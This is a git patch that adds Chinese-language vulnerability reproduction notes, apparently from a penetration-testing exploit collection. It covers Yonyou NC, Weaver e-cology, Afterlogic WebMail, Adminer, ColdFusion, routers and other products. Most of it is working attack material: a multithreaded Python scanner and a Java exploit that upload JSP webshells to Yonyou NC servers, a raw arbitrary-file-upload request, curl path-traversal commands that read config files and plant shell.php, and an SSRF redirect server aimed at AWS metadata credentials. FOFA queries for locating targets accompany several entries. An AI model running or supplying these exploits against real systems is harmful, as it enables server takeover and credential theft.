From ed6c0342e569c8dcb1c848bc1733ade2ff65338d Mon Sep 17 00:00:00 2001
From: Threekiii <472361400@qq.com>
Date: Mon, 5 Dec 2022 17:54:08 +0800
Subject: [PATCH] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E6=BC=8F=E6=B4=9E?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
...or CMS 0.12.7 跨站请求伪造 CVE-2020-23342.md | 23 ++
...微OA E-cology KtreeUploadAction 任意文件上传.md | 45 ++++
...md => 泛微OA E-cology WorkflowServiceXml RCE.md} | 2 +-
.../用友 NC FileReceiveServlet 反序列化RCE漏洞.md | 197 ++++++++++++++++++
OA产品漏洞/用友 NC 反序列化RCE漏洞.md | 84 --------
.../Adminer-SSRF漏洞 CVE-2021-21311.md | 87 ++++++++
... ColdFusion 远程代码执行漏洞 CVE-2021-21087.md | 43 ++++
...a & WebMail Pro 任意文件读取 CVE-2021-26294.md | 25 +++
...a & WebMail Pro 文件上传漏洞 CVE-2021-26293.md | 33 +++
Web应用漏洞/images/16133787776790.jpg | Bin 0 -> 228425 bytes
Web应用漏洞/images/16133787994051.jpg | Bin 0 -> 126085 bytes
...统 Employee Management System 1.0 身份验证绕过.md | 49 +++++
.../金山 V8 V9 终端安全系统 文件上传漏洞.md | 21 ++
...ger分布式数据库同步系统信息泄漏 CNVD-2021-16592.md | 22 ++
...Apache Druid 远程代码执行漏洞 CVE-2021-25646.md | 10 +-
...Apache Druid 远程代码执行漏洞 CVE-2021-26919.md | 29 +++
.../Apache NiFi Api 远程代码执行 RCE.md | 126 +++++++++++
.../Apache OFBiz RMI Bypass RCE CVE-2021-29200.md | 51 +++++
其他漏洞/微信客户端 远程命令执行漏洞.md | 196 +++++++++++++++++
.../Apache OFBiz 反序列化 CVE-2021-30128.md | 158 ++++++++++++++
.../Apache OfBiz 服务器端模板注入 SSTI.md | 34 +++
开发框架漏洞/Apache OfBiz 远程代码执行 RCE.md | 24 +++
网络设备漏洞/iKuai 后台任意文件读取漏洞.md | 38 ++++
网络设备漏洞/images/2-1620745285.png | Bin 0 -> 249563 bytes
网络设备漏洞/images/6-1620745283.png | Bin 0 -> 109482 bytes
.../华硕 GT-AC2900 身份验证绕过 CVE-2021-32030.md | 44 ++++
...md => 启明星辰 天清汉马USG防火墙 逻辑缺陷漏洞 CNVD-2021-12793.md} | 4 +-
.../碧海威 L7多款产品 后台命令执行漏洞.md | 30 +++
...达 路由器 AC11 堆栈缓冲区溢出 CVE-2021-31758.md | 30 +++
.../腾达 路由器 D151D31未经身份验证的配置下载.md | 170 +++++++++++++++
... => 锐捷 Smartweb管理系统 密码信息泄露漏洞 CNVD-2021-17369.md} | 2 +-
31 files changed, 1488 insertions(+), 89 deletions(-)
create mode 100644 CMS漏洞/Anchor CMS 0.12.7 跨站请求伪造 CVE-2020-23342.md
create mode 100644 OA产品漏洞/泛微OA E-cology KtreeUploadAction 任意文件上传.md
rename OA产品漏洞/{泛微OA WorkflowServiceXml RCE.md => 泛微OA E-cology WorkflowServiceXml RCE.md} (99%)
create mode 100644 OA产品漏洞/用友 NC FileReceiveServlet 反序列化RCE漏洞.md
delete mode 100644 OA产品漏洞/用友 NC 反序列化RCE漏洞.md
create mode 100644 Web应用漏洞/Adminer-SSRF漏洞 CVE-2021-21311.md
create mode 100644 Web应用漏洞/Adobe ColdFusion 远程代码执行漏洞 CVE-2021-21087.md
create mode 100644 Web应用漏洞/Afterlogic Aurora & WebMail Pro 任意文件读取 CVE-2021-26294.md
create mode 100644 Web应用漏洞/Afterlogic Aurora & WebMail Pro 文件上传漏洞 CVE-2021-26293.md
create mode 100644 Web应用漏洞/images/16133787776790.jpg
create mode 100644 Web应用漏洞/images/16133787994051.jpg
create mode 100644 Web应用漏洞/员工管理系统 Employee Management System 1.0 身份验证绕过.md
create mode 100644 Web应用漏洞/金山 V8 V9 终端安全系统 文件上传漏洞.md
create mode 100644 Web应用漏洞/阿里巴巴otter manager分布式数据库同步系统信息泄漏 CNVD-2021-16592.md
create mode 100644 Web服务器漏洞/Apache Druid 远程代码执行漏洞 CVE-2021-26919.md
create mode 100644 Web服务器漏洞/Apache NiFi Api 远程代码执行 RCE.md
create mode 100644 Web服务器漏洞/Apache OFBiz RMI Bypass RCE CVE-2021-29200.md
create mode 100644 其他漏洞/微信客户端 远程命令执行漏洞.md
create mode 100644 开发框架漏洞/Apache OFBiz 反序列化 CVE-2021-30128.md
create mode 100644 开发框架漏洞/Apache OfBiz 服务器端模板注入 SSTI.md
create mode 100644 开发框架漏洞/Apache OfBiz 远程代码执行 RCE.md
create mode 100644 网络设备漏洞/iKuai 后台任意文件读取漏洞.md
create mode 100644 网络设备漏洞/images/2-1620745285.png
create mode 100644 网络设备漏洞/images/6-1620745283.png
create mode 100644 网络设备漏洞/华硕 GT-AC2900 身份验证绕过 CVE-2021-32030.md
rename 网络设备漏洞/{启明星辰 天清汉马USG防火墙 逻辑缺陷漏洞.md => 启明星辰 天清汉马USG防火墙 逻辑缺陷漏洞 CNVD-2021-12793.md} (75%)
create mode 100644 网络设备漏洞/碧海威 L7多款产品 后台命令执行漏洞.md
create mode 100644 网络设备漏洞/腾达 路由器 AC11 堆栈缓冲区溢出 CVE-2021-31758.md
create mode 100644 网络设备漏洞/腾达 路由器 D151D31未经身份验证的配置下载.md
rename 网络设备漏洞/{锐捷 Smartweb管理系统 密码信息泄露漏洞.md => 锐捷 Smartweb管理系统 密码信息泄露漏洞 CNVD-2021-17369.md} (93%)
diff --git a/CMS漏洞/Anchor CMS 0.12.7 跨站请求伪造 CVE-2020-23342.md b/CMS漏洞/Anchor CMS 0.12.7 跨站请求伪造 CVE-2020-23342.md
new file mode 100644
index 0000000..a86b3f5
--- /dev/null
+++ b/CMS漏洞/Anchor CMS 0.12.7 跨站请求伪造 CVE-2020-23342.md
@@ -0,0 +1,23 @@
+# Anchor CMS 0.12.7 跨站请求伪造 CVE-2020-23342
+
+## 漏洞描述
+
+- https://packetstormsecurity.com/files/161048/anchorcms0127-xsrf.txt
+
+## FOFA
+
+```
+"Anchor CMS" && body="themes/default/img/favicon.png"
+```
+
+## 漏洞复现
+
+Anchor CMS使用Get方法进行敏感操作，可以使用exploit.html进行删除用户等操作。
+
+**exploit.html：**
+
+```html
+
+```
+
+当管理员点击时删除ID为21的用户。
\ No newline at end of file
diff --git a/OA产品漏洞/泛微OA E-cology KtreeUploadAction 任意文件上传.md b/OA产品漏洞/泛微OA E-cology KtreeUploadAction 任意文件上传.md
new file mode 100644
index 0000000..e6fb4a3
--- /dev/null
+++ b/OA产品漏洞/泛微OA E-cology KtreeUploadAction 任意文件上传.md
@@ -0,0 +1,45 @@
+# 泛微OA E-cology KtreeUploadAction 任意文件上传
+
+## 漏洞描述
+
+参考链接：
+
+- [泛微e-cology任意文件上传(已修复)](https://mp.weixin.qq.com/s?__biz=MzkxMzIzNTU5Mg==&mid=2247483666&idx=1&sn=e70efe98c064e0f1df986e2b65c1a608&chksm=c1018af5f67603e39ce4d6e9375875e63e7b80633a1f99959f8d4652193ac3734765a99099ea&mpshare=1&scene=23&srcid=0414cqXy50udQOy19LYOMega&sharer_sharetime=1618332600979&sharer_shareid=d15208c7b27f111e2fe465f389ab6fac#rd)
+
+## 影响版本
+
+```
+目前已修复
+```
+
+## 漏洞复现
+
+定位文件：
+
+`ecology\CLASSB~1\com\weaver\formmodel\apps\ktree\servlet\KtreeUploadAction.class`
+
+exp：
+
+```
+
+POST /weaver/com.weaver.formmodel.apps.ktree.servlet.KtreeUploadAction?action=image HTTP/1.1
+Host: 127.0.0.1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Connection: close
+Cookie: Secure; JSESSIONID=abc6xLBV7S2jvgm3CB50w; Secure; testBanCookie=test
+Upgrade-Insecure-Requests: 1
+Cache-Control: max-age=0
+Content-Type: multipart/form-data; boundary=--------1638451160
+Content-Length: 171
+
+----------1638451160
+Content-Disposition: form-data; name="test"; filename="test.jsp"
+Content-Type: image/jpeg
+
+helloword
+----------1638451160--
+```
+
diff --git a/OA产品漏洞/泛微OA WorkflowServiceXml RCE.md b/OA产品漏洞/泛微OA E-cology WorkflowServiceXml RCE.md
similarity index 99%
rename from OA产品漏洞/泛微OA WorkflowServiceXml RCE.md
rename to OA产品漏洞/泛微OA E-cology WorkflowServiceXml RCE.md
index 499fd97..59c2d98 100644
--- a/OA产品漏洞/泛微OA WorkflowServiceXml RCE.md
+++ b/OA产品漏洞/泛微OA E-cology WorkflowServiceXml RCE.md
@@ -1,4 +1,4 @@
-# 泛微OA WorkflowServiceXml RCE
+# 泛微OA E-cology WorkflowServiceXml RCE
## 漏洞描述
diff --git a/OA产品漏洞/用友 NC FileReceiveServlet 反序列化RCE漏洞.md b/OA产品漏洞/用友 NC FileReceiveServlet 反序列化RCE漏洞.md
new file mode 100644
index 0000000..82a82ee
--- /dev/null
+++ b/OA产品漏洞/用友 NC FileReceiveServlet 反序列化RCE漏洞.md
@@ -0,0 +1,197 @@
+# 用友 NC FileReceiveServlet 反序列化RCE漏洞
+
+## 漏洞描述
+
+用友NC 存在反序列化 RCE漏洞，攻击者可利用控制服务器
+
+## 漏洞影响
+
+```
+用友NC 6.5
+```
+
+## FOFA
+
+```
+app="用友-UFIDA-NC"
+```
+
+## 漏洞复现
+
+首先从任意文件上传说起
+
+任意文件上传分析代码在`servlet.FileReceiveServlet`。在这里我们可以看到，从请求中读取流，然后转换为map类型并读取上传文件的路径。然后再读取待上传的文件。
+
+
+
+而网上很多poc，大多都是基于此漏洞，利用反序列化上传一个文件到服务器。
+
+这也就是去年的那个任意文件上传的反序列化漏洞。但是，但是，这个漏洞本质是一个反序列化漏洞。而且某C的classpath中，也存在apache commonscollections库，我们可以利用这个库，直接执行命令或者内存马。岂不是比任意文件上传舒服多了。
+
+**内存马**
+
+老样子，在反序列化中想执行任意代码，一般都依靠xalan这个库。这次也不例外。
+
+植入内存马，关键在于我们怎样找到context，只有找到context，我们才可以添加filter。好在某c中，我们只需要通过下面的代码既可以获取当前context，不需要从tomcat中获取context
+
+```java
+ Object obj = 改动Locator.getInstance().lookup("ServletContext");
+ Field contextField = obj.getClass().getDeclaredField("context");
+ contextField.setAccessible(true);
+ obj = contextField.get(obj);
+ Field contextField1 = obj.getClass().getDeclaredField("context");
+ contextField1.setAccessible(true);
+ addFitlertoTomcat(contextField1.get(obj));
+```
+
+剩下的就是常规操作，可以看我之前的内存马模型，基本不需要很大的改动即可完美适配。
+
+
+
+**回显**
+
+我们只需要找到这样一个servlet，即存在反序列化的readObject，又将错误信息写入到response中
+
+不难看出 uploadServlet 就很满足这个需求。
+
+```plain
+out = new ObjectOutputStream(output);
+ in = new ObjectInputStream(request.getInputStream());
+ String dsName = (String)in.readObject();
+ }
+ } catch (Exception var14) {
+ var14.printStackTrace();
+ if (out == null) {
+ throw new ServletException(var14);
+ }
+
+ out.writeObject(var14);
+```
+
+如果出错的话，将错误信息通过序列化写入到response中。好处在于，我们不需要麻烦的去找tomcat的response对象。
+
+所以，我们将反序列化的payload，发送给uploadServlet即可。然后我们只需要读取响应，即可拿到服务器命令执行的回显结果。客户端代码可以这样写
+
+```java
+ ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(r));
+ Exception e = (Exception) objectInputStream.readObject();
+ Object obj = e.getCause();
+ Field targetF = obj.getClass().getDeclaredField("target");
+ targetF.setAccessible(true);
+ obj = targetF.get(obj);
+ Field msgF = obj.getClass().getSuperclass().getDeclaredField("detailMessage");
+ msgF.setAccessible(true);
+ String msg = msgF.get(obj).toString();
+ System.out.println(msg);
+```
+
+### 文件上传EXP
+
+python exp：
+
+```
+import requests
+import threadpool
+import urllib3
+import sys
+import argparse
+
+urllib3.disable_warnings()
+proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
+header = {
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Referer": "https://google.com",
+}
+
+def multithreading(funcname, filename="url.txt", pools=5):
+ works = []
+ with open(filename, "r") as f:
+ for i in f:
+ func_params = [i.rstrip("\n")]
+ works.append((func_params, None))
+ pool = threadpool.ThreadPool(pools)
+ reqs = threadpool.makeRequests(funcname, works)
+ [pool.putRequest(req) for req in reqs]
+ pool.wait()
+
+def wirte_targets(vurl, filename):
+ with open(filename, "a+") as f:
+ f.write(vurl + "\n")
+ return vurl
+
+def exp(u):
+ uploadHeader = {
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
+ "Content-Type": "multipart/form-data;",
+ "Referer": "https://google.com"
+ }
+ uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"
+ shellFlag="t0test0ls"
+ uploadData+=shellFlag
+ try:
+ req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)
+ if req1.status_code == 200 :
+ req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)
+
+ if req3.text.index(shellFlag)>=0:
+ printFlag = "[Getshell]" + u+"/t00ls.jsp" + "\n"
+ print (printFlag)
+ wirte_targets(printFlag, "vuln.txt")
+ except :
+ pass
+ #print(printFlag, end="")
+
+
+if __name__ == "__main__":
+ if (len(sys.argv)) < 2:
+ print('useage : python' +str(sys.argv[0]) + ' -h')
+ else:
+ parser =argparse.ArgumentParser()
+ parser.description ='YONYOU UC 6.5 FILE UPLOAD!'
+ parser.add_argument('-u',help="url -> example http://127.0.0.1",type=str,dest='check_url')
+ parser.add_argument('-r',help="url list to file",type=str,dest='check_file')
+ args =parser.parse_args()
+ if args.check_url:
+ exp(args.check_url)
+
+ if(args.check_file):
+ multithreading(exp, args.check_file, 8)
+```
+
+java exp：
+
+```
+import java.io.*;
+import java.util.HashMap;
+import java.util.Map;
+
+public class App {
+ public static void main(String[] args) throws Exception {
+ String url="http://192.168.40.222";
+ Map metaInfo=new HashMap();
+ metaInfo.put("TARGET_FILE_PATH","webapps/nc_web");
+ metaInfo.put("FILE_NAME","cmd.jsp");
+ ByteArrayOutputStream baos=new ByteArrayOutputStream();
+ ObjectOutputStream oos=new ObjectOutputStream(baos);
+ oos.writeObject(metaInfo);
+ InputStream in=App.class.getResourceAsStream("cmd.jsp");
+ byte[] buf=new byte[1024];
+ int len=0;
+ while ((len=in.read(buf))!=-1){
+ baos.write(buf,0,len);
+ }
+ HttpClient.post(url+"/servlet/FileReceiveServlet",baos.toByteArray());
+ HttpResult result=HttpClient.get(url+"/cmd.jsp?cmd=echo+aaaaaa");
+ if(result.getData().contains("aaaaaa")){
+ System.out.println("shell路径:"+url+"/cmd.jsp?cmd=whoami");
+ }else{
+ System.out.println("上传shell失败或者漏洞不存在");
+ }
+ }
+}
+```
+
+## 参考文章
+
+https://mp.weixin.qq.com/s/IdXYbjNVGVIasuwQH48Q1w
\ No newline at end of file
diff --git a/OA产品漏洞/用友 NC 反序列化RCE漏洞.md b/OA产品漏洞/用友 NC 反序列化RCE漏洞.md
deleted file mode 100644
index 4fdbbcf..0000000
--- a/OA产品漏洞/用友 NC 反序列化RCE漏洞.md
+++ /dev/null
@@ -1,84 +0,0 @@
-# 用友 NC 反序列化RCE漏洞
-
-## 漏洞描述
-
-用友NC 存在反序列化 RCE漏洞，攻击者可利用控制服务器
-
-## 漏洞影响
-
-```
-用友 NC
-```
-
-## 漏洞复现
-
-首先从任意文件上传说起
-
-任意文件上传分析代码在`servlet.FileReceiveServlet`。在这里我们可以看到，从请求中读取流，然后转换为map类型并读取上传文件的路径。然后再读取待上传的文件。
-
-
-
-而网上很多poc，大多都是基于此漏洞，利用反序列化上传一个文件到服务器。
-
-这也就是去年的那个任意文件上传的反序列化漏洞。但是，但是，这个漏洞本质是一个反序列化漏洞。而且某C的classpath中，也存在apache commonscollections库，我们可以利用这个库，直接执行命令或者内存马。岂不是比任意文件上传舒服多了。
-
-**内存马**
-
-老样子，在反序列化中想执行任意代码，一般都依靠xalan这个库。这次也不例外。
-
-植入内存马，关键在于我们怎样找到context，只有找到context，我们才可以添加filter。好在某c中，我们只需要通过下面的代码既可以获取当前context，不需要从tomcat中获取context
-
-```java
- Object obj = 改动Locator.getInstance().lookup("ServletContext");
- Field contextField = obj.getClass().getDeclaredField("context");
- contextField.setAccessible(true);
- obj = contextField.get(obj);
- Field contextField1 = obj.getClass().getDeclaredField("context");
- contextField1.setAccessible(true);
- addFitlertoTomcat(contextField1.get(obj));
-```
-
-剩下的就是常规操作，可以看我之前的内存马模型，基本不需要很大的改动即可完美适配。
-
-
-
-**回显**
-
-我们只需要找到这样一个servlet，即存在反序列化的readObject，又将错误信息写入到response中
-
-不难看出 uploadServlet 就很满足这个需求。
-
-```plain
-out = new ObjectOutputStream(output);
- in = new ObjectInputStream(request.getInputStream());
- String dsName = (String)in.readObject();
- }
- } catch (Exception var14) {
- var14.printStackTrace();
- if (out == null) {
- throw new ServletException(var14);
- }
-
- out.writeObject(var14);
-```
-
-如果出错的话，将错误信息通过序列化写入到response中。好处在于，我们不需要麻烦的去找tomcat的response对象。
-
-所以，我们将反序列化的payload，发送给uploadServlet即可。然后我们只需要读取响应，即可拿到服务器命令执行的回显结果。客户端代码可以这样写
-
-```java
- ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(r));
- Exception e = (Exception) objectInputStream.readObject();
- Object obj = e.getCause();
- Field targetF = obj.getClass().getDeclaredField("target");
- targetF.setAccessible(true);
- obj = targetF.get(obj);
- Field msgF = obj.getClass().getSuperclass().getDeclaredField("detailMessage");
- msgF.setAccessible(true);
- String msg = msgF.get(obj).toString();
- System.out.println(msg);
-```
-
-## 参考文章
-
-https://mp.weixin.qq.com/s/IdXYbjNVGVIasuwQH48Q1w
\ No newline at end of file
diff --git a/Web应用漏洞/Adminer-SSRF漏洞 CVE-2021-21311.md b/Web应用漏洞/Adminer-SSRF漏洞 CVE-2021-21311.md
new file mode 100644
index 0000000..67da1ef
--- /dev/null
+++ b/Web应用漏洞/Adminer-SSRF漏洞 CVE-2021-21311.md
@@ -0,0 +1,87 @@
+# Adminer SSRF漏洞 CVE-2021-21311
+
+## 漏洞描述
+
+使用管理员发送任意get请求并从内部服务器检索JSON响应的方法。可以从AWS元数据服务中提取AWS访问密钥。
+
+参考链接：
+
+- https://github.com/advisories/GHSA-x5r2-hj5c-8jx6
+- https://gist.github.com/bpsizemore/227141941c5075d96a34e375c63ae3bd
+
+## 漏洞复现
+
+首先，启动一个python服务器，该服务器侦听传入的连接并以301重定向响应到任意选择的主机。在此示例情况下，重定向指向AWS元数据服务：
+
+```
+http://169.254.169.254/latest/meta-data/instance-id
+```
+
+然后，在Adminer中使用Elasticsearch登录模块“登录”运行python代码的服务器，这导致Adminer从包含服务器的AWS实例ID的元数据服务器打印json响应。
+
+
+
+
+重定向请求的python脚本：
+
+
+```py
+#!/usr/bin/env python
+
+import SimpleHTTPServer
+import SocketServer
+import sys
+import argparse
+
+def redirect_handler_factory(url):
+ """
+ Returns a request handler class that redirects to supplied `url`
+ """
+ class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
+ def do_GET(self):
+ self.send_response(301)
+ self.send_header('Location', url)
+ self.end_headers()
+
+ def do_POST(self):
+ self.send_response(301)
+ self.send_header('Location', url)
+ self.end_headers()
+
+ return RedirectHandler
+
+
+def main():
+
+ parser = argparse.ArgumentParser(description='HTTP redirect server')
+
+ parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
+ parser.add_argument('--ip', '-i', action="store", default="", help='host interface to listen on')
+ parser.add_argument('redirect_url', action="store")
+
+ myargs = parser.parse_args()
+
+ redirect_url = myargs.redirect_url
+ port = myargs.port
+ host = myargs.ip
+
+ redirectHandler = redirect_handler_factory(redirect_url)
+
+ handler = SocketServer.TCPServer((host, port), redirectHandler)
+ print("serving at port %s" % port)
+ handler.serve_forever()
+
+if __name__ == "__main__":
+ main()
+
+```
+
+
+```
+http://169.254.169.254/latest/meta-data/iam/security-credentials/ //列出服务器的可用角色。
+```
+
+
+
+
+
diff --git a/Web应用漏洞/Adobe ColdFusion 远程代码执行漏洞 CVE-2021-21087.md b/Web应用漏洞/Adobe ColdFusion 远程代码执行漏洞 CVE-2021-21087.md
new file mode 100644
index 0000000..547c14f
--- /dev/null
+++ b/Web应用漏洞/Adobe ColdFusion 远程代码执行漏洞 CVE-2021-21087.md
@@ -0,0 +1,43 @@
+# Adobe ColdFusion 远程代码执行漏洞 CVE-2021-21087
+
+## 漏洞描述
+
+Adobe ColdFusion是一个快速应用程序开发平台。Adobe ColdFusion 存在远程代码执行漏洞，由于过滤不严，未经授权的攻击者可构造恶意请求，造成任意代码执行，控制服务器。建议相关用户尽快采取安全措施阻止漏洞攻击。
+
+参考链接：
+
+- https://nosec.org/home/detail/4707.html
+- https://github.com/projectdiscovery/nuclei-templates/pull/1128/files
+- https://helpx.adobe.com/security/products/coldfusion/apsb21-16.html
+
+## 漏洞影响
+
+```
+Adobe ColdFusion 2021 <= Version 2021.0.0.323925
+Adobe ColdFusion 2018 <= Update 10
+Adobe ColdFusion 2016 <= Update 16
+```
+
+## FOFA
+
+```
+app="Adobe-ColdFusion"
+```
+
+## 漏洞复现
+
+```
+ - method: GET
+ path:
+ - "{{BaseURL}}/cf_scripts/scripts/ajax/package/cfajax.js"
+ - "{{BaseURL}}/cf-scripts/scripts/ajax/package/cfajax.js"
+ - "{{BaseURL}}/CFIDE/scripts/ajax/package/cfajax.js"
+ - "{{BaseURL}}/cfide/scripts/ajax/package/cfajax.js"
+ - "{{BaseURL}}/CF_SFSD/scripts/ajax/package/cfajax.js"
+ - "{{BaseURL}}/cfide-scripts/ajax/package/cfajax.js"
+ - "{{BaseURL}}/cfmx/CFIDE/scripts/ajax/package/cfajax.js"
+
+regex:
+ - 'eval\(\"\(\"\+json\+\"\)\"\)'
+```
+
diff --git a/Web应用漏洞/Afterlogic Aurora & WebMail Pro 任意文件读取 CVE-2021-26294.md b/Web应用漏洞/Afterlogic Aurora & WebMail Pro 任意文件读取 CVE-2021-26294.md
new file mode 100644
index 0000000..b5f0049
--- /dev/null
+++ b/Web应用漏洞/Afterlogic Aurora & WebMail Pro 任意文件读取 CVE-2021-26294.md
@@ -0,0 +1,25 @@
+# Afterlogic Aurora & WebMail Pro 任意文件读取CVE-2021-26294
+
+## 漏洞描述
+
+攻击者可以通过caldav_public_user@localhost用户登录，不需要其它用户信息就可以读取配置文件从而获得敏感信息。
+
+参考链接：
+
+- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26294
+- https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26294-exposure-of-sensitive-information-vulnerability.md
+- https://forum.ywhack.com/thread-115326-1-8.html
+
+## 漏洞影响
+
+```
+WebMail Pro ≤ 7.7.9
+Afterlogic Aurora ≤ 7.7.9
+```
+
+## 漏洞复现
+
+```
+curl -u 'caldav_public_user@localhost:caldav_public_user' "https://sample-mail.tld/dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml"
+```
+
diff --git a/Web应用漏洞/Afterlogic Aurora & WebMail Pro 文件上传漏洞 CVE-2021-26293.md b/Web应用漏洞/Afterlogic Aurora & WebMail Pro 文件上传漏洞 CVE-2021-26293.md
new file mode 100644
index 0000000..f38709e
--- /dev/null
+++ b/Web应用漏洞/Afterlogic Aurora & WebMail Pro 文件上传漏洞 CVE-2021-26293.md
@@ -0,0 +1,33 @@
+# Afterlogic Aurora & WebMail Pro 文件上传漏洞 CVE-2021-26293
+
+## 漏洞描述
+
+该漏洞是由于Afterlogic Aurora & WebMail Pro中对上传的文件过滤和限制存在缺陷，攻击者可以通过上传恶意文件，从而执行任意代码。
+
+参考链接：
+
+- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26293
+- https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26293-rce-via-public-unrestricted-file-upload-vulnerability.md
+- https://forum.ywhack.com/thread-115325-1-8.html
+
+## 漏洞影响
+
+```
+WebMail Pro ≤ 7.7.9
+Afterlogic Aurora ≤ 7.7.9
+```
+
+## 漏洞复现
+
+```bash
+curl -T shell.php -u 'caldav_public_user@localhost:caldav_public_user' "https://sample-mail.tld/dav/server.php/files/persona/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e/var/www/html/shell.php"
+```
+
+默认路径为/var/www/html，也可能更改配置为其它路径，可以尝试其它方式获取。
+
+
+```bash
+curl -X DELETE -u 'caldav_public_user@localhost:caldav_public_user' "https://sample-mail.tld/dav/server.php/files/personal/GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021"
+//使用无效路径获取SabreDAV错误查看Webroot路径
+```
+
diff --git a/Web应用漏洞/images/16133787776790.jpg b/Web应用漏洞/images/16133787776790.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..6765f6c039a60bb731992a40cdae59ce68b8f765
GIT binary patch
literal 228425
zcmb@tc|4Te`v811!;pR7jS!Ws#ZE@amP8vx$WF5FOhyzTgwRT*QW054lCi5OS+X;O
zvSl=rOjEPHM?F2?@B4e6Kfa&$^WHUcUvutr&VB9Yx~_AuMp*<%@PLK21;oY%K~~@&
z#F~Lj&13w1AjsAh+73Yw7sQt855WNhxrM=bX#oH*&EfcONlgMZ?X4uo*`3=i3BZ+~!O&Oi5G
z^Z)%t8UBSkG^nvL*WblbEq1l&ad4@U!nZ8l(D0Ivjj9I^wj
zFo3E4fV$r>`zF6gtK$F${n=$b!_5F+fy^QH9bWGHZ2&9_V2hx$hYtSL?&0HaVGUrQ
zE$lJ=5!S~5ED7LC-r?p)|LSumEcnP@?_#g_2{YUKSNkjXFaZ62*K}mS@s0M4`M>&k
zTmLmbj6crrm?LQ41VJ$6D1V1T0OkjPT5u*VJlz&bqLf8h^kfxY(*
z+WQwzU{T)TCpK^c{n_iiy!V>}7|;$|^bR_{LGQ*q)R2gM8}9;R;hRFv{<0I$4p;O(
zYq`;`2w?5-sH1<4g*!xq9ouLJc*1=`BJ4MK2=Ii*opC>44`6@~{0ejsGK2O*3Q#2Y
zctF9>8OZO8g2qNf*%Cmrr@&+t`9f(
zL&tymbIfz}bIfvl;2>~}x%nrB{U09LLIgn3ZytIB{{9y);3{BF9r!-@9xywY87>Z&
zhBV;X;5~ccDDY+-&}#M2C_4|48Gne%w2_*|{aSO}V%J-;w;=`E~x#
z`-|8A&B@=mdi>4rKN$S;{r`F54|xGRZT^SQ88jDZp^B23Rlb
zQt2OFQVlXNmBRi2(WxnFWW$
zhWY#YMJVhAtAn?Kb&#i~y27pG;&1-bmh=sR_IR;atfv38
z9R#*sdl8ub{D0b1n}M5VkTp_s|Du
z0%*@C=rcruC=iW}jSa!Z$0oui#fD_t!luTyi%p-+gw34oAlnhPlWeEieA$B7BH7Sv
z$!r;HxokJs?y@~*t73c3*2?ypt)Fd-ZH8@$?JL_)b{IP^yC}OHy9&D&yFU9~b{qC%
z>@MuS?4j&&>=)Rx*srnQV=rf~XK!WiVgJBRVE@d%4ufDkFmc#smPI;;S84^{zd1acmP5nwB@A8<~%2wVZK0W{bOejM%z4}~YdFT-!ZAHnP49q>W;
z44edKa`17;a;R|_a#(Ym;PB;$=1Acv;CRSU$I%IF=@SQqlao`NQ*y2gfGo109
zmpN~9R&us*_H)j0t|Jf#DTEqg55f-Nj)*{{Ag&|I5jeyE;uC_(#lwZ<+QntT<-`@l
zmBdxR^@OXLYk+Hki^eU;y@lJ5+m73dJC-|}`#yIgcOUmBZrUcHO{$yrY&y2-%%=03
zu5GH=)VXPL(;5#Ck0Or&&tV>aoZCH9CBGfOkuCWS%qr~9SWq)vYV|oM{d5m`Q2uk
zqN?I?#U#Z_#VMstO8QDZN>`QIlt{`*Wm{#ma+&h@7Va(jTl}^ZZt33gT}4&JQ6*Ic
ztFovnscNknr&^{uxs`7#YHR4$ds~OLac8+kSIW41O5u8b%ma8-6j;FbXhwVzg+iYV2)%
